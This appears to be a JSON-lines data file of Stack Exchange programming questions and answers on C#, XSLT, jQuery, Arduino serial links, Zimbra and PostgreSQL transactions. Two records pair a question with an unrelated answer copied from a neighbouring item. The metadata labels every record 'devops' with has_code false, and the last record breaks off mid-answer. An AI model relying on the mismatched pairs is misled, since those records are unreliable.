{"id": "hf_276996a26621", "question": "<p>Where do the type/member/parameter descriptions that you see in the Intellisense bubble come from? Are they stored in type attributes?</p>\n\n<p>EDIT: I'm specifically interested in the built-in types.</p>\n", "question_body": "", "answer": "I don't know about the built-in types, but when you're building your own classes you can use Xml comments to list out the intellisense information.  The comments are put into their own xml file when you build the project, and as long as that file is in the right place Visual Studio will be able to use it.  Not only that, but you'll get intellisense help to build the comments.  For C#, just add an extra / character to a comment line right above a class, property, or method: ///.  For VB, use two extra ' characters: '''\nOne caveat with this (and I'm sure there's an option somewhere to control it), but it's been my experience that once you put an xml comment\nanywhere\nin a project, you'll get a compile warning for\nevery\npublic item that isn't commented if you don't use them\neverywhere\nin the project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.234953"}
{"id": "hf_97f47beceb8c", "question": "<p>I got one big question.</p>\n\n<p>I got a linq query to put it simply looks like this:</p>\n\n<pre><code>from xx in table\nwhere xx.uid.ToString().Contains(string[])\nselect xx\n</code></pre>\n\n<p>The values of the <code>string[]</code> array would be numbers like (1,45,20,10,etc...)</p>\n\n<p>the Default for <code>.Contains</code> is <code>.Contains(string)</code>.</p>\n\n<p>I need it to do this instead:  <code>.Contains(string[])</code>...</p>\n\n<p><strong>EDIT :</strong> One user suggested writing an extension class for <code>string[]</code>.  I would like to learn how, but any one willing to point me in the right direction?</p>\n\n<p><strong>EDIT :</strong> The uid would also be a number. That's why it is converted to a string.</p>\n\n<p>Help anyone?</p>\n", "question_body": "", "answer": "How about:\n```\n```\nfrom xx in table\nwhere stringarray.Contains(xx.uid.ToString())\nselect xx\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.284167"}
{"id": "hf_726b2d12480b", "question": "<p>I am creating a lightweight editor in C# and would like to know the best method for converting a string into a nicely formatted XML string.  I would hope that there's a public method in the C# library like \"public bool FormatAsXml(string text, out string formattedXmlText)\", but it couldn't be that easy, could it?</p>\n\n<p>Very specifically, what would the method \"SomeMethod\" have to be that would produce the output below?</p>\n\n<pre><code>string unformattedXml;\nstring formattedXml;\n\nunformattedXml = \"&lt;?xml version=\\\"1.0\\\"?&gt;&lt;book&gt;&lt;author&gt;Lewis, C.S.&lt;/author&gt;&lt;title&gt;The Four Loves&lt;/title&gt;&lt;/book&gt;\"\nformattedXml = SomeMethod(unformattedXml);\n\nConsole.WriteLine(formattedXml);\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;?xml version=\"1.0\"?&gt;\n  &lt;book id=\"123\"&gt;\n    &lt;author&gt;Lewis, C.S.&lt;/author&gt;\n    &lt;title&gt;The Four Loves&lt;/title&gt;\n  &lt;/book&gt;\n</code></pre>\n", "question_body": "", "answer": "Is the string valid XML? Do you mean how can you convert an XML string into an XML document? If so, do this:\n```\n```\nXmlDocument xml = new XmlDocument();\n\nxml.LoadXml( YourString );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.308882"}
{"id": "hf_8aad2a917864", "question": "<p>I thought the web page designer screen in 2005 was mediocre until I used the one in 2008 which I think is bad.  There is an interesting  white paper here:</p>\n\n<p><a href=\"http://www.west-wind.com/weblog/posts/484172.aspx\" rel=\"nofollow noreferrer\">http://www.west-wind.com/weblog/posts/484172.aspx</a></p>\n\n<p>I've gotten very used to these WYSIWYG designers over the years, but I am looking now for a new way.  </p>\n\n<p>I make business web apps which call for data entry forms.  I don't need anything particularly artistic, but I do need to be able to line up text boxes etc on input forms so that they lkook orderly and are convenient for the user.  I use Telerik controls, and my skills with CSS are approaching passable.</p>\n\n<p>People often mention that they don't use the designer, but they rarely state what approach they DO use.</p>\n\n<p>What are some of the alternatives to using the VS designer?  </p>\n", "question_body": "", "answer": "Is the string valid XML? Do you mean how can you convert an XML string into an XML document? If so, do this:\n```\n```\nXmlDocument xml = new XmlDocument();\n\nxml.LoadXml( YourString );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.333401"}
{"id": "hf_b74c19f912fd", "question": "<p>I have an array of 1000 or so entries, with examples below:</p>\n\n<pre><code>wickedweather\nliquidweather\ndriveourtrucks\ngocompact\nslimprojector\n</code></pre>\n\n<p>I would like to be able to split these into their respective words, as:</p>\n\n<pre><code>wicked weather\nliquid weather\ndrive our trucks\ngo compact\nslim projector\n</code></pre>\n\n<p>I was hoping a regular expression my do the trick.  But, since there is no boundary to stop on, nor is there any sort of capitalization that I could possibly key on, I am thinking, that some sort of reference to a dictionary might be necessary?  </p>\n\n<p>I suppose it could be done by hand, but why - when it can be done with code! =)  But this has stumped me.  Any ideas?  </p>\n", "question_body": "", "answer": "I think you're right in thinking that it's not really a job for a regular expression. I would approach this using the dictionary idea - look for the longest prefix that is a word in the dictionary. When you find that, chop it off and do the same with the remainder of the string.\nThe above method is subject to ambiguity, for example \"drivereallyfast\" would first find \"driver\" and then have trouble with \"eallyfast\". So you would also have to do some backtracking if you ran into this situation. Or, since you don't have that many strings to split, just do by hand the ones that fail the automated split.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.395467"}
{"id": "hf_18077fb4492c", "question": "<p>I've been researching PHP frameworks as of late for some personal projects, and it looks like most of them use a front controller to mimic a response. The controller gets the params from the request, and re-routes by sending the appropriate headers depending on the logic. This is the \"response\". Is this the best way to do this in PHP, or are there other theories about how to handle re-routing and responses?</p>\n", "question_body": "", "answer": "a front controller lends itself quite well to a web environment, allowing you to funnel all requests to your application. since HTTP is stateless, and a user can, in a sense, inadvertently stumble upon parts of your app by accident (ie, hitting random URL's), a front controller allows you to determine the entry point of your application, and respond appropriately.\nedit\n: in response to the comments, i think the confusion may be that java has a lot more structure to it than PHP, which might be overcomplicating the whole thing? ultimately PHP can provide for the very basic interaction from request to response:\n```\n```\nswitch($_GET['page']) {\n  case \"one\";\n      print \"page one!\";\n      break;\n  default:\n      print \"default page\";\n      break;\n}\n```\n```\nand from there you can layer in all sorts of things to front controllers passing request objects down a filter chain to a page controller which reroutes to the appropriate model which grabs data via your db abstraction layer, filters it, back up to the controller, and on to the view which constructs the appropriate response, all the while firing off random event hooks. ultimately it's up to you (as developer) to choose what level of complexity/separation you're looking for. this is both the beauty and evilness of PHP :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.432859"}
{"id": "hf_6fc060ab3c6e", "question": "<p>Below is my $.ajax call, how do I put a selects (multiple) selected values in the data section?</p>\n\n<pre><code>$.ajax({\n    type: \"post\",\n    url: \"http://myServer\" ,\n    dataType: \"text\",\n    data: {\n        'service' : 'myService',\n        'program' : 'myProgram',\n        'start' : start,\n        'end' : end ,\n        },\n    success: function(request) {\n      result.innerHTML = request ;\n    }   // End success\n  }); // End ajax method\n</code></pre>\n\n<p><strong>EDIT</strong> I should have included that I understand how to loop through the selects selected options with this code:</p>\n\n<pre><code>$('#userid option').each(function(i) {\n if (this.selected == true) {\n</code></pre>\n\n<p>but how do I fit that into my data: section?</p>\n", "question_body": "", "answer": "how about using an array?\n```\n```\ndata: {\n    ...\n    'select' : ['value1', 'value2', 'value3'],\n    ...\n},\n```\n```\nedit\n: ah sorry, here's the code, a few caveats:\n```\n```\n'select' : $('#myselectbox').serializeArray(),\n```\n```\nin order for serializeArray() to work though, all form elements must have a name attribute. the value of\n```\n'select'\n```\nabove will be an array of objects containing the name and values of the selected elements.\n```\n```\n'select' : [\n    { 'name' : 'box', 'value' : 1 },\n    { 'name' : 'box', 'value' : 2 }\n],\n```\n```\nthe select box to produce the above result would be:\n```\n```\n<select multiple=\"true\" name=\"box\" id=\"myselectbox\">\n   <option value=\"1\" name=\"option1\" selected=\"selected\">One</option>\n   <option value=\"2\" name=\"option2\" selected=\"selected\">Two</option>\n   <option value=\"3\" name=\"option3\">Three</option>\n</select>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.456524"}
{"id": "hf_19044fd77517", "question": "<p>I have some assembly that references NUnit and creates a single test class with a single test method. I am able to get the file system path to this assembly (e.g. \"C:...\\test.dll\"). I would like to programmatically use NUnit to run against this assembly.</p>\n\n<p>So far I have:</p>\n\n<pre><code>var runner = new SimpleTestRunner();\nrunner.Load(path);\nvar result = runner.Run(NullListener.NULL);\n</code></pre>\n\n<p>However, calling runner.Load(path) throws a FileNotFound exception. I can see through the stack trace that the problem is with NUnit calling Assembly.Load(path) down the stack. If I change path to be something like \"Test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\" then I still get the same error.</p>\n\n<p>I have added an event handler to AppDomain.Current.AssemblyResolve to see if I could manually resolve this type but my handler never gets called.</p>\n\n<p>What is the secret to getting Assembly.Load(...) to work??</p>\n", "question_body": "", "answer": "\"What is the secret to getting Assembly.Load to work?\"\nSystem.Reflection.Assembly.Load takes an string containing an assembly name, not a path to a file.\nIf you want to load an assembly from a file use:\n```\n```\nAssembly a = System.Reflection.Assembly.LoadFrom(pathToFileOnDisk);\n```\n```\n(LoadFrom actually uses Assembly.Load internally)\nBy the way, is there any reason why you can;t use the\nNUnit-Console command line tool\nand just pass it the path to your test assembly?  You could then just use the System.Diagnostics.Process to run this from within your client application, might be simpler?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.481121"}
{"id": "hf_b7bc6a1392a2", "question": "<p>I need to hide (make private) the <code>-init</code> method of my class in Objective-C.</p>\n\n<p>How can I do that?</p>\n", "question_body": "", "answer": "That depends on what you mean by \"make private\".  In Objective-C, calling a method on an object might better be described as sending a message to that object.  There's nothing in the language that prohibits a client from calling any given method on an object; the best you can do is not declare the method in the header file.  If a client nevertheless calls the \"private\" method with the right signature, it will still execute at runtime.\nThat said, the most common way to create a private method in Objective-C is to create a\nCategory\nin the implementation file, and declare all of the \"hidden\" methods in there.  Remember that this won't truly prevent calls to\n```\ninit\n```\nfrom running, but the compiler will spit out warnings if anyone tries to do this.\nMyClass.m\n```\n```\n@interface MyClass (PrivateMethods)\n- (NSString*) init;\n@end\n\n@implementation MyClass\n\n- (NSString*) init\n{\n    // code...\n}\n\n@end\n```\n```\nThere's a decent\nthread\non MacRumors.com about this topic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.530378"}
{"id": "hf_911b081b9e88", "question": "<p>Is it possible to programaticly run compiled Python (comiled via py2exe) as administrator in Vista?</p>\n\n<p>Some more clarification:<br />\nI have written a program that modifies the windows hosts file (c:\\Windows\\system32\\drivers\\etc\\hosts) in Vista the program will not run and will fail with an exception unless you right-click and run as administrator even when the user has administrator privileges, unlike in XP where it will run if the user has administration rights, so I need a way to elevate it to the correct privileges programaticly.</p>\n", "question_body": "", "answer": "Do you mean that you want Windows to prompt for elevation when your program is run? This is controlled by adding a UAC manifest to the EXE's resources.\nThis blog entry\nexplains how to create the manifest and how to compile it into a .RES file.\nI don't know what facilities py2exe has for embedding custom .RES files, so you might need to use the MT.EXE tool from the Platform SDK to embed the manifest in your program. MT.EXE doesn't need .RES files; it can merge the .manifest file directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.580741"}
{"id": "hf_e7dc08f47111", "question": "<p>How can I raise an event from a SWF file loaded into a Flex application (using SWFLoader)?</p>\n\n<p>I want to be able to detect</p>\n\n<pre><code>a) when a button is pressed\nb) when the animation ends\n</code></pre>\n", "question_body": "", "answer": "You'll need to do 2 things:\nDispatch an event from the loaded swf. Make sure the event bubbles if you sent it from nested views. Bubbling can be set through the bubbles property of the event.\nListen to the event from your main application. I think you should be able to do that on the content property of the SWFLoader instance.\n```\n```\nmySWFLoader.content.addEventListener(\"myEvent\", myEventHandler);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.654539"}
{"id": "hf_1b8b7282e3ef", "question": "<p>I am new to this community, but I am working on a site that requires implementation of a user/password/register check upon entry, which would check against a database, or write to the database, in the case of registration. I have experience with XHTML and CSS, and just discovered RoR. I honestly have very little insight into how to achieve my goal using just XHTML, so I decided to learn Ruby, taking a shot in the dark. I'm wondering if there's an easier language, or more direct fix that I should be implementing instead. Any thoughts?</p>\n", "question_body": "", "answer": "Are you looking for information on how to implement user authentication in Rails? You could try\n```\nacts_as_authenticated\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.719158"}
{"id": "hf_b93cacdbc145", "question": "<p>I have a Zimbra installation and I need to programmaticaly update contacts in it. It seems that its REST interface is only working to add new contacts, but I need to update existing ones. Is there a way, tool or something, open-source, to do that ?</p>\n", "question_body": "", "answer": "Well, I have an answer to my question : you may use the \"zmmailbox\" command. Under the Zimbra system user, it is possible to modify content in a mailbox. Since quite everything is stored in the Zimbra mailbox, contacts can be edited. I need now to find a way to use this :\n```\n```\nbox$ zmmailbox help contact\n\n  autoComplete(ac)             [opts] {query}\n    -v/--verbose                 verbose output\n\n  autoCompleteGal(acg)         [opts] {query}\n    -v/--verbose                 verbose output\n\n  createContact(cct)           [opts] [attr1 value1 [attr2 value2...]]\n    -i/--ignore                  ignore unknown contact attrs\n    -f/--folder <arg>            folder-path-or-id\n    -T/--tags <arg>              list of tag ids/names\n\n  deleteContact(dct)           {contact-ids}\n\n  flagContact(fct)             {contact-ids} [0|1*]\n\n  getAllContacts(gact)         [opts] [attr1 [attr2...]]\n    -f/--folder <arg>            folder-path-or-id\n    -v/--verbose                 verbose output\n\n  getContacts(gct)             [opts] {contact-ids} [attr1 [attr2...]]\n    -v/--verbose                 verbose output\n\n  modifyContactAttrs(mcta)     [opts] {contact-id} [attr1 value1 [attr2 value2...]]\n    -i/--ignore                  ignore unknown contact attrs\n    -r/--replace                 replace contact (default is to merge)\n\n  moveContact(mct)             {contact-ids} {dest-folder-path}\n\n  tagContact(tct)              {contact-ids} {tag-name} [0|1*]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.747107"}
{"id": "hf_313d8ce7ed58", "question": "<p>Very simply put:</p>\n\n<p>I have a class that consists mostly of static public members, so I can group similar functions together that still have to be called from other classes/functions.</p>\n\n<p>Anyway, I have defined two static unsigned char variables in my class public scope, when I try to modify these values in the same class' constructor, I am getting an \"unresolved external symbol\" error at compilation.</p>\n\n<pre><code>class test \n{\npublic:\n    static unsigned char X;\n    static unsigned char Y;\n\n    ...\n\n    test();\n};\n\ntest::test() \n{\n    X = 1;\n    Y = 2;\n}\n</code></pre>\n\n<p>I'm new to C++ so go easy on me. Why can't I do this?</p>\n", "question_body": "", "answer": "If you are using\nC++ 17\nyou can just use the\n```\ninline\n```\nspecifier (see\nhttps://stackoverflow.com/a/11711082/55721\n)\nIf using older versions of the C++ standard, you must add the definitions to match your declarations of X and Y\n```\n```\nunsigned char test::X;\nunsigned char test::Y;\n```\n```\nsomewhere.  You might want to also initialize a static member\n```\n```\nunsigned char test::X = 4;\n```\n```\nand again, you do that in the definition (usually in a CXX file) not in the declaration (which is often in a .H file)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.771429"}
{"id": "hf_41eb0fc5ea34", "question": "<p>I have the following template</p>\n\n<pre><code>&lt;h2&gt;one&lt;/h2&gt;\n&lt;xsl:apply-templates select=\"one\"/&gt;\n&lt;h2&gt;two&lt;/h2&gt;\n&lt;xsl:apply-templates select=\"two\"/&gt;\n&lt;h2&gt;three&lt;/h2&gt;\n&lt;xsl:apply-templates select=\"three\"/&gt;\n</code></pre>\n\n<p>I would like to only display the headers (one,two,three) if there is at least one member of the corresponding template. How do I check for this?</p>\n", "question_body": "", "answer": "```\n```\n<xsl:if test=\"one\">\n  <h2>one</h2>\n  <xsl:apply-templates select=\"one\"/>\n</xsl:if>\n<!-- etc -->\n```\n```\nAlternatively, you could create a named template,\n```\n```\n<xsl:template name=\"WriteWithHeader\">\n   <xsl:param name=\"header\"/>\n   <xsl:param name=\"data\"/>\n   <xsl:if test=\"$data\">\n      <h2><xsl:value-of select=\"$header\"/></h2>\n      <xsl:apply-templates select=\"$data\"/>\n   </xsl:if>\n</xsl:template>\n```\n```\nand then call as:\n```\n```\n<xsl:call-template name=\"WriteWithHeader\">\n    <xsl:with-param name=\"header\" select=\"'one'\"/>\n    <xsl:with-param name=\"data\" select=\"one\"/>\n  </xsl:call-template>\n```\n```\nBut to be honest, that looks like more work to me... only useful if drawing a header is complex... for a simple\n```\n<h2>...</h2>\n```\nI'd be tempted to leave it inline.\nIf the header title is always the node name, you could simplifiy the template by removing the \"$header\" arg, and use instead:\n```\n```\n<xsl:value-of select=\"name($header[1])\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.820378"}
{"id": "hf_971bd3366bbe", "question": "<p>I'm playing around with the <a href=\"http://developer.mozilla.org/en/HTML/Canvas\" rel=\"noreferrer\"><code>&lt;canvas&gt;</code></a> element, drawing lines and such.</p>\n\n<p>I've noticed that my diagonal lines are antialiased. I'd prefer the jaggy look for what I'm doing - is there any way of turning this feature off?</p>\n", "question_body": "", "answer": "For images there's now\n```\ncontext.imageSmoothingEnabled\n```\n```\n= false\n```\n.\nHowever, there's nothing that explicitly controls line drawing. You may need to draw your own lines (\nthe hard way\n) using\n```\ngetImageData\n```\nand\n```\nputImageData\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.845635"}
{"id": "hf_350f6a1d6825", "question": "<p>Are there any <strong>professional</strong> Combobox controls (dropdown list with autosuggestion) based on the jQuery library?</p>\n\n<p>It should be able to handle <strong>large datasets</strong> and have some <strong>skinning</strong> options. A <strong>multi-column result list</strong> would be great too. I'm working with ASP.NET, but it's a not a problem if I had to write a wrapper for it.</p>\n\n<p><img src=\"https://i.stack.imgur.com/ilhvD.png\" alt=\"alt text\"></p>\n\n<p><em>I'm already using a third-party control, but I ran into some compatibilty issues between two vendor's controls. Well, I want to get rid of this kind of dependencies.</em></p>\n", "question_body": "", "answer": "Unfortunately, the best thing I have seen is the\njquery.combobox\n, but it doesn't really look like something I'd really want to use in my web applications. I think there are some usability issues with this control, but as a user I don't think I'd know to start typing for the dropdownlist to turn into a textbox.\nI much prefer the\nCombo Dropdown Box\n, but it still has some features that I'd want and it's still in alpha. The only think I don't like about this other than its being alpha... is that once I type in the combobox, the original dropdownlist items disappear. However, maybe there is a setting for this... or maybe it could be added fairly easily.\nThose are the only two options that I know of. Good luck in your search. I'd love to hear if you find one or if the second option works out for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.883024"}
{"id": "hf_3c5da5db510c", "question": "<p>I'd like to get all the permutations of swapped characters pairs of a string. For example:</p>\n<p>Base string: <code>abcd</code></p>\n<p>Combinations:</p>\n<ol>\n<li><code>bacd</code></li>\n<li><code>acbd</code></li>\n<li><code>abdc</code></li>\n</ol>\n<p>etc.</p>\n<h3>Edit</h3>\n<p>I want to swap only letters that are next to each other. Like first with second, second with third, but not third with sixth.</p>\n<p>What's the best way to do this?</p>\n<h3>Edit</h3>\n<p>Just for fun: there are three or four solutions, could somebody post a speed test of those so we could compare which is fastest?</p>\n<h3>Speed test</h3>\n<p>I made speed test of nickf's code and mine, and results are that mine is beating the nickf's at four letters (0.08 and 0.06 for 10K times) but nickf's is beating it at 10 letters (nick's 0.24 and mine 0.37)</p>\n", "question_body": "", "answer": "Edit: Markdown hates me today...\n```\n```\n$input = \"abcd\";\n$len = strlen($input);\n$output = array();\n\nfor ($i = 0; $i < $len - 1; ++$i) {\n    $output[] = substr($input, 0, $i)\n              . substr($input, $i + 1, 1)\n              . substr($input, $i, 1)\n              . substr($input, $i + 2);\n}\nprint_r($output);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.919927"}
{"id": "hf_6fd92465d88f", "question": "<p>I have an Arduino sending and receiving instructions with a Python script via a serial port.</p>\n\n<p>The Arduino takes a button state and when it is pushed, it will send a message via the serial port to a Python script and await a response. (via <code>Serial.available()</code>). It works well enough.</p>\n\n<p>However, if the Python script has crashed for whatever reason (ideally it will run in the background, so it can't be easily checked), the Arduino will wait forever and will be unavailable even on a script restart.</p>\n\n<p>Is there a way for my Arduino to check if there is something listening on the serial port? (and alert me with flashing lights, etc. if not) or is this not how serial works? Worst case I guess I could use a timeout, although that is not ideal.</p>\n", "question_body": "", "answer": "You have a limited ability to detect if there is something listening on the other side by using the DSR/DTR pins.\nWhen you open the serial port on the machine your scripts runs on, it should raise its DTR pin (or you should be able to convince it to do so: the documentation of the library you use to drive the COM port should tell you how).\nThen, on your Arduino, you can check its DSR pin (assuming null-modem wiring with handshaking, where the PC DTR pin is wired to DSR+CD on the Arduino) at regular intervals, and handle the 'nobody connected' scenario in any way you see fit.\nOne problem with this approach is that your PC script may not close the serial port when it crashes/stops responding, leaving the DTR pin enabled as if everything is still OK. Also, your script may simply miss the message from the Arduino due to errors on the serial line.\nFor that reason, you should\nalways\nimplement a timeout in your receive routines: even if there is a party listening at the other end, there is no guarantee it has received your message (or that its response will reach you intact).\nRe-sending the message at least once (assuming DSR is raised) if a timeout occurs makes your protocol more reliable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.968125"}
{"id": "hf_c3ccd1082a20", "question": "<p><a href=\"https://stackoverflow.com/users/9931/ryan-delucchi\">Ryan Delucchi</a> asked <a href=\"https://stackoverflow.com/questions/194698/how-to-load-a-jar-file-at-runtime#194712\">here</a> in comment #3 to <a href=\"https://stackoverflow.com/users/4725/tom-hawtin-tackline\">Tom Hawtin</a>'s answer:</p>\n\n<blockquote>\n  <p>why is Class.newInstance() \"evil\"?</p>\n</blockquote>\n\n<p>this in response to the code sample:</p>\n\n<pre><code>// Avoid Class.newInstance, for it is evil.\nConstructor&lt;? extends Runnable&gt; ctor = runClass.getConstructor();\nRunnable doRun = ctor.newInstance();\n</code></pre>\n\n<p>so, why is it Evil?</p>\n", "question_body": "", "answer": "The Java API documentation explains why (\nhttp://java.sun.com/javase/6/docs/api/java/lang/Class.html#newInstance()\n):\nNote that this method propagates any exception thrown by the nullary constructor, including a checked exception. Use of this method effectively bypasses the compile-time exception checking that would otherwise be performed by the compiler. The\n```\nConstructor.newInstance\n```\nmethod avoids this problem by wrapping any exception thrown by the constructor in a (checked)\n```\nInvocationTargetException\n```\n.\nIn other words, it can defeat the checked exceptions system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.004972"}
{"id": "hf_23b640c7388c", "question": "<p>I am trying to learn some programming related terms, and I often come over the word &quot;handler&quot;. Can anyone please explain what it means and when to use it?</p>\n", "question_body": "", "answer": "A handler is a routine/function/method which is specialized in a certain type of data or focused on certain special tasks.\nExamples:\nEvent handler - Receives and digests events and signals from the\nsurrounding system (e.g. OS or GUI).\nMemory handler - Performs certain special tasks on memory.\nFile input handler - A function receiving file input and performing\nspecial tasks on the data, all depending on context of course.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.094911"}
{"id": "hf_b1ec2498a349", "question": "<p>In IE when I insert text into a <code>&lt;pre&gt;</code> tag the newlines are ignored:</p>\n\n<pre><code>&lt;pre id=\"putItHere\"&gt;&lt;/pre&gt;\n\n&lt;script&gt;\nfunction putText() {\n   document.getElementById(\"putItHere\").innerHTML = \"first line\\nsecond line\";\n}\n&lt;/script&gt;\n</code></pre>\n\n<p>Using <code>\\r\\n</code> instead of a plain <code>\\n</code> does not work. </p>\n\n<p><code>&lt;br/&gt;</code> does work but inserts an extra blank line in FF, which is not acceptable for my purposes.</p>\n", "question_body": "", "answer": "```\n<br/>\n```\nshoud only output one line in all browsers. Of course remove the \\n as well, code should be:\n```\n```\ndocument.getElementById(\"putItHere\").innerHTML = \"first line<br/>second line\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.133243"}
{"id": "hf_5e9e9721dfa5", "question": "<p>How is it possible for this to be true</p>\n\n<pre><code>XmlDocument d = BuildReportXML(schema);\nDataSet ds = new DataSet();\nds.ReadXmlSchema(schema);\nds.ReadXml(new XmlNodeReader(d));\n</code></pre>\n\n<p>Schema is the schema location that I apply to the XmlDocument before I start setting data, assuring that all the columns are of the correct type. Then I set the schema to the DataSet, and read the document into it. When I do this it throws an \"Input string was not in a correct format.\" I have a few decimal variables in the Xml, and I assume this is the error. All of the information is obviously of the correct format, else the XmlDocument would have had errors. What can I do?</p>\n", "question_body": "", "answer": "```\n<br/>\n```\nshoud only output one line in all browsers. Of course remove the \\n as well, code should be:\n```\n```\ndocument.getElementById(\"putItHere\").innerHTML = \"first line<br/>second line\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.158185"}
{"id": "hf_522a1eae5470", "question": "<p>I'm trying to debug an application (under PostgreSQL) and came across the following error:\n\"current transaction is aborted, commands ignored\".</p>\n\n<p>As far as I can understand a \"transaction\" is just a notion related to the underlying database connection.</p>\n\n<p>If the connection has an auto commit \"false\", you can execute queries through the same Statement as long as it isn't failing. In which case you should rollback.</p>\n\n<p>If auto commit is \"true\" then it doesn't matter as long as all your queries are considered atomic.</p>\n\n<p>Using auto commit false, I get the aforementioned error by PostgreSQL even when a simple </p>\n\n<pre><code>select * from foo\n</code></pre>\n\n<p>fails, which makes me ask, under which SQLException(s) is a \"transaction\" considered invalid and should be rolled backed or not used for another query?</p>\n\n<blockquote>\n  <p>using MacOS 10.5, Java 1.5.0_16, PostgreSQL 8.3 with JDBC driver 8.1-407.jdbc3</p>\n</blockquote>\n", "question_body": "", "answer": "That error means that one of the queries sent in a transaction has failed, so the rest of the queries are ignored until the end of the current transaction (which will automatically be a rollback). To PostgreSQL the transaction has failed, and it will be rolled back in any case after the error with one exception. You have to take appropriate measures, one of\ndiscard the statement and start 